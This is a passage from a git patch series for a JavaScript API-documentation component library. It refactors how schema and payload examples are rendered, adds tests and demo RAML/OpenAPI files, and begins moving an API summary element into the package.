    + `; + } + + /** + * @param {SchemaExample} item + * @returns {TemplateResult|string} The template for a single example + */ + [exampleTemplate](item) { + const { description, renderValue, label } = item; + return html` +
    + Example${label ? `: ${label}` : ''} +
    + ${description ? html`
    ${description}
    ` : ''} +
    ${renderValue}
    +
    +
    + `; + } } diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js index de69250..7ec3a5f 100644 --- a/src/elements/ApiPayloadDocumentElement.js +++ b/src/elements/ApiPayloadDocumentElement.js @@ -5,6 +5,9 @@ import elementStyles from './styles/ApiPayload.js'; import { ApiDocumentationBase, serializerValue, + evaluateExamples, + examplesTemplate, + examplesValue, } from './ApiDocumentationBase.js'; import '../../api-schema-document.js'; @@ -13,11 +16,11 @@ import '../../api-schema-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */ /** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ /** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */ +/** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */ export const queryPayload = Symbol('queryPayload'); export const queryExamples = Symbol('queryExamples'); export const payloadValue = Symbol('payloadValue'); -export const examplesValue = Symbol('examplesValue'); export const processPayload = Symbol('processPayload'); export const mediaTypeTemplate = Symbol('mediaTypeTemplate'); export const nameTemplate = Symbol('nameTemplate'); @@ -53,10 +56,6 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase { * @type {ApiPayload} */ this[payloadValue] = undefined; - /** - * @type {ApiExample[]} - */ - this[examplesValue] = undefined; /** @type Payload */ this.domainModel = undefined; } @@ -75,14 +74,15 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase { } async [processPayload]() { + this[examplesValue] = undefined; const { payload } = this; if (!payload) { - this[examplesValue] = undefined; return; } + const { mediaType='' } = payload; const { examples } = payload; if (Array.isArray(examples) && examples.length) { - this[examplesValue] = examples; + this[examplesValue] = this[evaluateExamples](examples, mediaType); } } @@ -91,11 +91,11 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase { if (!payload) { return html``; } - // todo: render examples for the payload. return html` ${this[nameTemplate]()} ${this[mediaTypeTemplate]()} + ${this[examplesTemplate]()} ${this[schemaTemplate]()} `; } diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js index 90eb7c7..769a13f 100644 --- a/src/elements/ApiRequestDocumentElement.js +++ b/src/elements/ApiRequestDocumentElement.js @@ -8,9 +8,9 @@ import { ApiDocumentationBase, paramsSectionTemplate, schemaItemTemplate, - descriptionTemplate, + // descriptionTemplate, + // customDomainPropertiesTemplate, serializerValue, - customDomainPropertiesTemplate, } from './ApiDocumentationBase.js'; import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js'; import '../../api-payload-document.js'; @@ -247,10 +247,12 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { if (!request) { return html``; } + // these looks like are going to "schema" rendering and there's no way to define CDPs or + // a description on a request. + // ${this[customDomainPropertiesTemplate](request.customDomainProperties)} + // ${this[descriptionTemplate](request.description)} return html` - ${this[customDomainPropertiesTemplate](request.customDomainProperties)} - ${this[descriptionTemplate](request.description)} ${this[queryParamsTemplate]()} ${this[queryStringTemplate]()} ${this[headersTemplate]()} @@ -269,7 +271,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { const { request } = this; const { queryParameters=[], uriParameters=[] } = request; const all = uriParameters.concat(queryParameters); - const content = all.map((param) => this[schemaItemTemplate](param)); + const content = all.map((param) => this[schemaItemTemplate](param, 'query')); return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); } @@ -281,7 +283,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { return ''; } const params = this[queryParametersValue]; - const content = params.map((param) => this[schemaItemTemplate](param.parameter)); + const content = params.map((param) => this[schemaItemTemplate](param.parameter, 'query-string')); return this[paramsSectionTemplate]('Parameters', 'parametersOpened', content); } @@ -293,7 +295,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { return ''; } const { request } = this; - const content = request.headers.map((id) => this[schemaItemTemplate](id)); + const content = request.headers.map((param) => this[schemaItemTemplate](param, 'header')); return this[paramsSectionTemplate]('Headers', 'headersOpened', content); } @@ -305,7 +307,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { return ''; } const { request } = this; - const content = request.cookieParameters.map((id) => this[schemaItemTemplate](id)); + const content = request.cookieParameters.map((param) => this[schemaItemTemplate](param, 'cookie')); return this[paramsSectionTemplate]('Cookies', 'cookiesOpened', content); } diff --git a/src/elements/ApiSchemaDocumentElement.js b/src/elements/ApiSchemaDocumentElement.js index e11eecf..8c26237 100644 --- a/src/elements/ApiSchemaDocumentElement.js +++ b/src/elements/ApiSchemaDocumentElement.js @@ -4,7 +4,7 @@ import { html } from 'lit-element'; import { classMap } from "lit-html/directives/class-map"; import { ns } from '@api-components/amf-helper-mixin'; import { MarkdownStyles } from '@advanced-rest-client/highlight'; -import { ApiExampleGenerator, ApiSchemaGenerator } from '@api-components/api-schema'; +import { ApiSchemaGenerator } from '@api-components/api-schema'; import '@advanced-rest-client/highlight/arc-marked.js'; import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js'; import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js'; @@ -27,6 +27,9 @@ import { serializerValue, descriptionTemplate, customDomainPropertiesTemplate, + evaluateExamples, + examplesTemplate, + examplesValue, } from './ApiDocumentationBase.js'; /** @typedef {import('lit-element').TemplateResult} TemplateResult */ @@ -47,9 +50,6 @@ import { export const mimeTypeValue = Symbol('mimeTypeValue'); export const querySchema = Symbol('querySchema'); -export const examplesValue = Symbol('examplesValue'); -export const evaluateExamples = Symbol('evaluateExamples'); -export const evaluateExample = Symbol('evaluateExample'); export const schemaValue = Symbol('schemaValue'); export const expandedValue = Symbol('expandedValue'); export const selectedUnionsValue = Symbol('unionsValue'); @@ -71,8 +71,6 @@ export const shapePropertyTemplate = Symbol('shapePropertyTemplate'); export const shapePropertyWithoutRangeTemplate = Symbol('shapePropertyWithoutRangeTemplate'); export const anyOfUnionTemplate = Symbol('anyOfUnionTemplate'); export const anyOfOptionsTemplate = Symbol('anyOfOptionsTemplate'); -export const examplesTemplate = Symbol('examplesTemplate'); -export const exampleTemplate = Symbol('exampleTemplate'); export const propertyDescriptionTemplate = Symbol('propertyDescriptionTemplate'); export const propertyDescriptionEditor = Symbol('propertyDescriptionEditor'); export const checkSchemaPropertyUpdate = Symbol('checkSchemaPropertyUpdate'); @@ -166,10 +164,6 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { * @type {ApiShapeUnion} */ this[schemaValue] = undefined; - /** - * @type {SchemaExample[]} - */ - this[examplesValue] = undefined; /** * @type {string[]} */ @@ -252,7 +246,8 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { examplesCopy = examplesCopy.filter((i) => !!i.value || !!i.structuredValue); } if (Array.isArray(examplesCopy) && examplesCopy.length) { - this[examplesValue] = this[evaluateExamples](examplesCopy); + const { mimeType='' } = this; + this[examplesValue] = this[evaluateExamples](examplesCopy, mimeType); } else { const { mimeType, forceExamples } = this; this[examplesValue] = undefined; @@ -276,39 +271,6 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { } } - /** - * @param {ApiExample[]} examples The list of examples to evaluate - * @returns {SchemaExample[]} - */ - [evaluateExamples](examples) { - return examples.map((example) => this[evaluateExample](example)) - } - - /** - * @param {ApiExample} example The example to evaluate - * @returns {SchemaExample} - */ - [evaluateExample](example) { - const { mimeType } = this; - let value; - if (mimeType) { - const generator = new ApiExampleGenerator(); - value = generator.read(example, mimeType); - } else { - value = example.value || ''; - } - const { name, displayName } = example; - const label = displayName || name; - const result = /** @type SchemaExample */ ({ - ...example, - renderValue: value, - }); - if (label && !label.startsWith('example_')) { - result.label = label; - } - return result; - } - /** * Checks the current schema whether it contains a property with the given id * and if so it updates its value. @@ -447,7 +409,7 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { const schema = this[schemaValue]; const { name, displayName } = schema; const label = displayName || name; - if (label === 'schema') { + if (['schema', 'default'].includes(label)) { return ''; } const typeName = name && label !== name && name !== 'schema' ? name : undefined; @@ -467,42 +429,6 @@ export default class ApiSchemaDocumentElement extends ApiDocumentationBase { `; } - /** - * @returns {TemplateResult|string} The template for the examples section. - */ - [examplesTemplate]() { - const examples = this[examplesValue]; - if (!Array.isArray(examples)) { - return ''; - } - const filtered = examples.filter((item) => !!item.renderValue); - if (!filtered.length) { - return ''; - } - return html` -
    - ${filtered.map((item) => this[exampleTemplate](item))} -
    - `; - } - - /** - * @param {SchemaExample} item - * @returns {TemplateResult|string} The template for a single example - */ - [exampleTemplate](item) { - const { description, renderValue, label } = item; - return html` -
    - Example${label ? `: ${label}` : ''} -
    - ${description ? html`
    ${description}
    ` : ''} -
    ${renderValue}
    -
    -
    - `; - } - /** * @param {ApiShapeUnion} schema The shape to render. * @returns {TemplateResult|string} The template for the schema properties depending on the type diff --git a/test/AmfLoader.js b/test/AmfLoader.js index c1b87f4..e4c7575 100644 --- a/test/AmfLoader.js +++ b/test/AmfLoader.js @@ -17,6 +17,7 @@ import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin' /** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ /** @typedef {import('@api-components/amf-helper-mixin').WebApi} WebApi */ /** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ +/** @typedef {import('@api-components/amf-helper-mixin').Request} Request */ /** * @typedef EndpointOperation @@ -53,7 +54,7 @@ export class AmfLoader extends AmfHelperMixin(Object) { */ lookupEndpoint(model, path) { this.amf = model; - const webApi = this._computeWebApi(model); + const webApi = this._computeApi(model); return this._computeEndpointByPath(webApi, path); } @@ -309,4 +310,73 @@ export class AmfLoader extends AmfHelperMixin(Object) { const method = this.lookupOperation(model, endpoint, operation); return this._computeReturns(method); } + + /** + * @param {AmfDocument} model + * @param {string} path The endpoint path + * @param {string} operation The operation path + * @param {string} code The response's status code + * @returns {Response} + */ + lookupResponse(model, path, operation, code) { + const responses = this.lookupResponses(model, path, operation); + if (!Array.isArray(responses) || !responses.length) { + throw new Error(`No responses for path ${path} and operation ${operation}`); + } + const response = responses.find((item) => { + if (this._getValue(item, this.ns.aml.vocabularies.apiContract.statusCode) === String(code)) { + return true; + } + return false; + }); + if (!response) { + throw new Error(`No responses the status code ${code}`); + } + return response; + } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {Request} + */ + lookupRequest(model, endpoint, operation) { + const method = this.lookupOperation(model, endpoint, operation); + let requests = method[this._getAmfKey(this.ns.aml.vocabularies.apiContract.expects)]; + if (Array.isArray(requests)) { + [requests] = requests; + } + if (!requests) { + throw new Error(`No request found in operation ${operation} and path ${endpoint}`); + } + return requests; + } + + /** + * @param {AmfDocument} model + * @param {string} path The endpoint path + * @param {string} operation The operation path + * @param {string} code The response's status code + * @returns {Payload[]} + */ + lookupResponsePayloads(model, path, operation, code) { + const response = this.lookupResponse(model, path, operation, code); + const pKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.payload); + const payloads = response[pKey]; + return this._ensureArray(payloads); + } + + /** + * @param {AmfDocument} model + * @param {string} path The endpoint path + * @param {string} operation The operation path + * @param {string} code The response's status code + * @returns {ApiPayload[]} + */ + getResponsePayloads(model, path, operation, code) { + const payloads = this.lookupResponsePayloads(model, path, operation, code); + const serializer = new AmfSerializer(model); + return payloads.map(p => serializer.payload(p)); + } } diff --git a/test/elements/ApiRequestDocumentElement.test.js b/test/elements/ApiRequestDocumentElement.test.js new file mode 100644 index 0000000..9fce854 --- /dev/null +++ b/test/elements/ApiRequestDocumentElement.test.js @@ -0,0 +1,168 @@ +import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-request-document.js'; + +/** @typedef {import('../../').ApiRequestDocumentElement} ApiRequestDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').Request} Request */ + +describe('ApiRequestDocumentElement', () => { + const loader = new AmfLoader(); + + /** + * @param {AmfDocument} amf + * @param {Request=} shape + * @param {string=} mimeType + * @returns {Promise} + */ + async function basicFixture(amf, shape, mimeType) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiRequestDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe('request headers', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the request headers', async () => { + const data = loader.lookupRequest(model, '/people', 'get'); + const element = await basicFixture(model, data); + + assert.isTrue(element.hasHeaders, 'hasHeaders is true'); + + const section = element.shadowRoot.querySelector('.params-section [data-ctrl-property="headersOpened"]'); + assert.ok(section, 'the section is rendered'); + + const params = element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'); + assert.lengthOf(params, 1, 'has all parameters document'); + }); + + it('ignores headers section when no headers', async () => { + const data = loader.lookupRequest(model, '/people', 'put'); + const element = await basicFixture(model, data); + + assert.isFalse(element.hasHeaders, 'hasHeaders is true'); + + const section = element.shadowRoot.querySelector('.params-section [data-ctrl-property="headersOpened"]'); + assert.notOk(section, 'the section is not rendered'); + }); + }); + + describe('payload rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the payload schema', async () => { + const data = loader.lookupRequest(model, '/people', 'post'); + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-payload-document'); + assert.ok(node, 'has the payload document'); + }); + + it('ignores the payload when not defined', async () => { + const data = loader.lookupRequest(model, '/people', 'get'); + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-payload-document'); + assert.notOk(node); + }); + }); + + describe('request media type selector', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the request media type selector', async () => { + const data = loader.lookupRequest(model, '/people', 'put'); + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]'); + const selector = section.querySelector('.media-type-selector'); + assert.ok(selector, 'has the payload document'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 2, 'has 2 media types to select'); + }); + + it('ignores the media type when not defined', async () => { + const data = loader.lookupRequest(model, '/orgs/{orgId}', 'put'); + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]'); + const selector = section.querySelector('.media-type-selector'); + assert.notOk(selector, 'has the payload document'); + }); + + it('selecting a mime type changes the payload', async () => { + const data = loader.lookupRequest(model, '/people', 'put'); + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]'); + const selector = section.querySelector('.media-type-selector'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + + buttons[1].click(); + + await nextFrame(); + + assert.equal(element.mimeType, 'application/xml', 'media type is changed'); + }); + }); + + describe('APIC-463: request media type selector', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-463'); + }); + + it('renders the request media type selector', async () => { + const data = loader.lookupRequest(model, '/test', 'post'); + const element = await basicFixture(model, data); + + const section = element.shadowRoot.querySelector('.params-section[data-controlled-by="payloadOpened"]'); + const selector = section.querySelector('.media-type-selector'); + assert.ok(selector, 'has the payload document'); + + const buttons = selector.querySelectorAll('anypoint-radio-button'); + assert.lengthOf(buttons, 2, 'has 2 media types to select'); + assert.equal(buttons[0].textContent.trim(), 'binary/octet-stream'); + assert.equal(buttons[1].textContent.trim(), 'multipart/form-data'); + }); + }); + + describe('APIC-561: anyOf', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'anyOf'); + }); + + it('renders the documentation for anyOf type', async () => { + const data = loader.lookupRequest(model, 'test', 'publish'); + const element = await basicFixture(model, data); + const doc = element.shadowRoot.querySelector('api-payload-document'); + assert.ok(doc); + }); + }); + }); +}); diff --git a/test/elements/ApiResponseDocumentElement.test.js b/test/elements/ApiResponseDocumentElement.test.js index 5cddc34..613ec09 100644 --- a/test/elements/ApiResponseDocumentElement.test.js +++ b/test/elements/ApiResponseDocumentElement.test.js @@ -271,5 +271,22 @@ describe('ApiResponseDocumentElement', () => { assert.equal(cols[1].innerText.trim(), '$response.body#/subscriberId', 'expression is rendered'); }); }); + + describe('Inline type name (stevetest)', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'stevetest'); + }); + + it('does not render type name when it is "default"', async () => { + const data = loader.lookupResponse(model, '/legal/termsConditionsAcceptReset', 'delete', '400'); + const element = await basicFixture(model, data); + + const doc = element.shadowRoot.querySelector('api-payload-document'); + const schema = doc.shadowRoot.querySelector('api-schema-document'); + assert.notExists(schema.shadowRoot.querySelector('.schema-title')); + }); + }); }); }); diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs index 2d47020..3b0ae75 100644 --- a/web-test-runner.config.mjs +++ b/web-test-runner.config.mjs @@ -1,5 +1,6 @@ export default { - files: 'test/**/*.test.js', + // files: 'test/**/*.test.js', + files: 'test/elements/ApiResponseDocumentElement.test.js', nodeResolve: true, middleware: [ function rewriteBase(context, next) { From 2b29a7ff4c355c91e6805445326217c17e72a1a5 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Fri, 1 Oct 2021 02:37:20 -0700 Subject: [PATCH 15/24] chore: adding tests from api-resource-example-document Signed-off-by: Pawel Psztyc --- demo/api-operation.js | 1 + demo/apis/APIC-332/APIC-332.raml | 22 +++++++++++++++++++ demo/model.mjs | 1 + src/elements/styles/Common.js | 4 ++++ .../elements/ApiSchemaDocumentElement.test.js | 21 ++++++++++++++++++ web-test-runner.config.mjs | 4 ++-- 6 files changed, 51 insertions(+), 2 deletions(-) create mode 100644 demo/apis/APIC-332/APIC-332.raml diff --git a/demo/api-operation.js b/demo/api-operation.js index f14d0a0..23f6943 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -137,6 +137,7 @@ class ComponentPage extends AmfDemoBase { ['secured-api', 'Secured API'], ['oas-callbacks', 'OAS 3 callbacks'], ['APIC-15', 'APIC-15'], + ['APIC-332', 'APIC-332'], ['APIC-463', 'APIC-463'], ['APIC-553', 'APIC-553'], ['APIC-560', 'APIC-560'], diff --git a/demo/apis/APIC-332/APIC-332.raml b/demo/apis/APIC-332/APIC-332.raml new file mode 100644 index 0000000..d091e1c --- /dev/null +++ b/demo/apis/APIC-332/APIC-332.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 +title: API with Examples + +types: + Org: + type: object + description: This description for the type is shown + properties: + name: string + address?: string + value?: string + +/organization: + post: + body: + application/json: + type: Org + example: + value: + name: Fake SA + value: Something + description: This description for the example is never shown diff --git a/demo/model.mjs b/demo/model.mjs index 2542296..60c9b25 100644 --- a/demo/model.mjs +++ b/demo/model.mjs @@ -13,6 +13,7 @@ config.set('APIC-15/APIC-15.raml', { type: "RAML 1.0" }); config.set('apic-83/apic-83.raml', { type: "RAML 1.0" }); config.set('APIC-282/APIC-282.raml', { type: "RAML 1.0" }); config.set('APIC-289/APIC-289.yaml', { type: "OAS 2.0", mime: 'application/yaml' }); +config.set('APIC-332/APIC-332.raml', { type: 'RAML 1.0' }); config.set('APIC-390/APIC-390.raml', { type: "RAML 1.0" }); config.set('APIC-429/APIC-429.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('APIC-483/APIC-483.raml', { type: "RAML 1.0" }); diff --git a/src/elements/styles/Common.js b/src/elements/styles/Common.js index c054754..13eca3f 100644 --- a/src/elements/styles/Common.js +++ b/src/elements/styles/Common.js @@ -117,4 +117,8 @@ export default css` margin-left: 24px; padding: 12px 0; } + +.example-description { + margin: 12px 0; +} `; diff --git a/test/elements/ApiSchemaDocumentElement.test.js b/test/elements/ApiSchemaDocumentElement.test.js index 596004a..08dd380 100644 --- a/test/elements/ApiSchemaDocumentElement.test.js +++ b/test/elements/ApiSchemaDocumentElement.test.js @@ -923,6 +923,27 @@ describe('ApiSchemaDocumentElement', () => { assert.deepEqual(data.mappers, ["lookup"]); }); }); + + describe('APIC-332', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-332'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const [payload] = loader.getPayloads(model, '/organization', 'post'); + const { schema } = payload; + element = await schemaFixture(model, schema, JsonType); + }); + + it('renders description for an example', () => { + const description = /** @type HTMLElement */ (element.shadowRoot.querySelector('.example-description')); + assert.equal(description.innerText, 'This description for the example is never shown'); + }); + }); }); }); }); diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs index 3b0ae75..4b2a0d7 100644 --- a/web-test-runner.config.mjs +++ b/web-test-runner.config.mjs @@ -1,6 +1,6 @@ export default { - // files: 'test/**/*.test.js', - files: 'test/elements/ApiResponseDocumentElement.test.js', + files: 'test/**/*.test.js', + // files: 'test/elements/ApiResponseDocumentElement.test.js', nodeResolve: true, middleware: [ function rewriteBase(context, next) { From b6060ded2ffdb7407d1d6f5b2be1114b11c7c9aa Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Sat, 2 Oct 2021 15:37:35 -0700 Subject: [PATCH 16/24] chore: moving api-summary here Signed-off-by: Pawel Psztyc --- .vscode/settings.json | 2 + TODO.md | 3 +- api-summary.d.ts | 7 + api-summary.js | 3 + demo/api-operation.js | 14 +- demo/api-resource.js | 14 +- demo/api-summary.html | 16 + demo/api-summary.js | 107 +++ demo/apis/APIC-641/APIC-641.yaml | 26 + demo/apis/demo-api/demo-api.raml | 2 + demo/apis/loan-ms/loan-microservice.json | 699 ++++++++++++++++++ .../apis/mocking-service/mocking-service.raml | 149 ++++ demo/apis/no-endpoints/no-endpoints.raml | 14 + demo/apis/no-server/no-server.raml | 27 + demo/apis/prevent-xss/prevent-xss.json | 18 + demo/index.html | 2 + demo/model.mjs | 6 + index.d.ts | 1 + index.js | 1 + package-lock.json | 444 +++-------- package.json | 5 +- src/elements/ApiDocumentationBase.js | 6 + .../ApiDocumentationDocumentElement.js | 1 - src/elements/ApiOperationDocumentElement.js | 50 +- .../ApiResourceDocumentationElement.js | 54 +- src/elements/ApiSummaryElement.d.ts | 109 +++ src/elements/ApiSummaryElement.js | 462 ++++++++++++ src/elements/styles/ApiSummary.js | 174 +++++ src/elements/styles/Common.js | 12 +- src/lib/Utils.js | 21 + src/types.d.ts | 45 +- test/elements/ApiSummaryElement.test.js | 502 +++++++++++++ tsconfig.json | 2 +- 33 files changed, 2578 insertions(+), 420 deletions(-) create mode 100644 api-summary.d.ts create mode 100644 api-summary.js create mode 100644 demo/api-summary.html create mode 100644 demo/api-summary.js create mode 100644 demo/apis/APIC-641/APIC-641.yaml create mode 100644 demo/apis/loan-ms/loan-microservice.json create mode 100644 demo/apis/mocking-service/mocking-service.raml create mode 100644 demo/apis/no-endpoints/no-endpoints.raml create mode 100644 demo/apis/no-server/no-server.raml create mode 100644 demo/apis/prevent-xss/prevent-xss.json create mode 100644 src/elements/ApiSummaryElement.d.ts create mode 100644 src/elements/ApiSummaryElement.js create mode 100644 src/elements/styles/ApiSummary.js create mode 100644 test/elements/ApiSummaryElement.test.js diff --git a/.vscode/settings.json b/.vscode/settings.json index 48663bd..3b9a101 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -2,6 +2,8 @@ "cSpell.words": [ "apiserverchanged", "Applian", + "contentinfo", + "dompurify", "fasttext", "monostate", "Nexmo", diff --git a/TODO.md b/TODO.md index 0d10d43..15bc3ae 100644 --- a/TODO.md +++ b/TODO.md @@ -7,11 +7,12 @@ - Sync the Endpoint template - ~~Sync the Schema template~~ - ~~Sync the Response template~~ -- Sync the Payload template +- ~~Sync the Payload template~~ - Render the request editor side-by-side - Render multiple security schemes applied to a single method with tabs/drop-down selector - ~~Fix the `(unknown path)` in the operation~~ - Rendering of fragments and the partial model - main `api-documentation` element - ~~replace body content type selector with radio buttons like in the request editor~~ +- move the `api-summary` element - Tests diff --git a/api-summary.d.ts b/api-summary.d.ts new file mode 100644 index 0000000..046e137 --- /dev/null +++ b/api-summary.d.ts @@ -0,0 +1,7 @@ +import Element from './src/elements/ApiSummaryElement'; + +declare global { + interface HTMLElementTagNameMap { + "api-summary": Element; + } +} diff --git a/api-summary.js b/api-summary.js new file mode 100644 index 0000000..508ffc1 --- /dev/null +++ b/api-summary.js @@ -0,0 +1,3 @@ +import Element from './src/elements/ApiSummaryElement.js'; + +window.customElements.define('api-summary', Element); diff --git a/demo/api-operation.js b/demo/api-operation.js index 23f6943..07352ba 100644 --- a/demo/api-operation.js +++ b/demo/api-operation.js @@ -15,10 +15,12 @@ class ComponentPage extends AmfDemoBase { this.initObservableProperties([ 'selectedId', 'selectedType', 'tryIt', 'editorOpened', 'editorOperation', + 'overrideBaseUri', ]); this.selectedId = undefined; this.selectedType = undefined; this.tryIt = true; + this.overrideBaseUri = false; this.compatibility = false; this.componentName = 'api-operation-document'; this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; @@ -88,7 +90,7 @@ class ComponentPage extends AmfDemoBase { } componentTemplate() { - const { demoStates, darkThemeActive, selectedId, amf, tryIt } = this; + const { demoStates, darkThemeActive, selectedId, amf, tryIt, overrideBaseUri } = this; if (!selectedId) { return html`

    Select API operation in the navigation

    `; } @@ -101,6 +103,7 @@ class ComponentPage extends AmfDemoBase { Render try it + + Custom base URI + `; } diff --git a/demo/api-resource.js b/demo/api-resource.js index cdb4852..4b09a58 100644 --- a/demo/api-resource.js +++ b/demo/api-resource.js @@ -14,7 +14,7 @@ class ComponentPage extends AmfDemoBase { super(); this.initObservableProperties([ 'selectedId', 'selectedType', 'selectedOperation', 'tryIt', - 'editorOpened', 'editorOperation', + 'editorOpened', 'editorOperation', 'overrideBaseUri', ]); this.compatibility = false; this.editorOpened = false; @@ -23,6 +23,7 @@ class ComponentPage extends AmfDemoBase { this.selectedType = undefined; this.selectedOperation = undefined; this.tryIt = true; + this.overrideBaseUri = false; this.componentName = 'api-endpoint-document'; this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`; } @@ -97,7 +98,7 @@ class ComponentPage extends AmfDemoBase { } componentTemplate() { - const { demoStates, darkThemeActive, selectedId, selectedOperation, amf, tryIt } = this; + const { demoStates, darkThemeActive, selectedId, selectedOperation, amf, tryIt, overrideBaseUri } = this; if (!selectedId) { return html`

    Select API operation in the navigation

    `; } @@ -112,6 +113,7 @@ class ComponentPage extends AmfDemoBase { .domainId="${selectedId}" .operationId="${selectedOperation}" ?tryIt="${tryIt}" + .baseUri="${overrideBaseUri ? 'https://custom.api.com' : undefined}" slot="content" @tryit="${this.tryitHandler}" > @@ -127,6 +129,14 @@ class ComponentPage extends AmfDemoBase { > Render try it + + Custom base URI + `; } diff --git a/demo/api-summary.html b/demo/api-summary.html new file mode 100644 index 0000000..fd47214 --- /dev/null +++ b/demo/api-summary.html @@ -0,0 +1,16 @@ + + + + + + + API Summary + + + + +
    + + + + diff --git a/demo/api-summary.js b/demo/api-summary.js new file mode 100644 index 0000000..d6c47e6 --- /dev/null +++ b/demo/api-summary.js @@ -0,0 +1,107 @@ +import { html } from 'lit-html'; +import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; +import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; +import { AmfDemoBase } from './lib/AmfDemoBase.js'; +import '../api-summary.js'; + +class ComponentPage extends AmfDemoBase { + constructor() { + super(); + this.initObservableProperties([ + 'selectedId', 'selectedType', 'selectedOperation', 'tryIt', + 'editorOpened', 'editorOperation', 'overrideBaseUri', + ]); + this.compatibility = false; + this.componentName = 'api-summary'; + this.overrideBaseUri = false; + this.noApiNavigation = true; + } + + /** + * @param {CustomEvent} e + */ + _navigationHandler(e) { + console.log(e.detail); + } + + contentTemplate() { + return html` +

    API summary

    + ${this.demoTemplate()} + `; + } + + demoTemplate() { + const { loaded } = this; + return html` +
    +

    Interactive demo

    +

    + This demo lets you preview the API summary document with various configuration options. +

    + +
    + ${!loaded ? html`

    Load an API model first.

    ` : this.loadedTemplate()} +
    +
    + `; + } + + loadedTemplate() { + return html` + ${this.componentTemplate()} + `; + } + + componentTemplate() { + const { demoStates, darkThemeActive, amf, overrideBaseUri } = this; + return html` + + + + + + + Custom base URI + + + `; + } + + _apiListTemplate() { + const result = []; + [ + ['demo-api', 'Demo API'], + ['google-drive-api', 'Google Drive'], + ['prevent-xss', 'Prevent XSS'], + ['mocking-service', 'Lots of methods'], + ['no-endpoints', 'No endpoints!'], + ['no-server', 'No server!'], + ['multi-server', 'Multiple servers'], + ['async-api', 'AsyncAPI'], + ['APIC-641', 'APIC-641'], + ['APIC-711', 'A library'], + ].forEach(([file, label]) => { + result[result.length] = html` + ${label}`; + }); + return result; + } +} +const instance = new ComponentPage(); +instance.render(); diff --git a/demo/apis/APIC-641/APIC-641.yaml b/demo/apis/APIC-641/APIC-641.yaml new file mode 100644 index 0000000..6195187 --- /dev/null +++ b/demo/apis/APIC-641/APIC-641.yaml @@ -0,0 +1,26 @@ +openapi: '3.0.2' +info: + title: 'profiles' + description: > + Provides `profiles` domain services of the **Client Data Platform**. + version: '2.0.1' + contact: + name: Client Data Platform Platform & Support + email: CDP_Services_Support@capgroup.com + url: 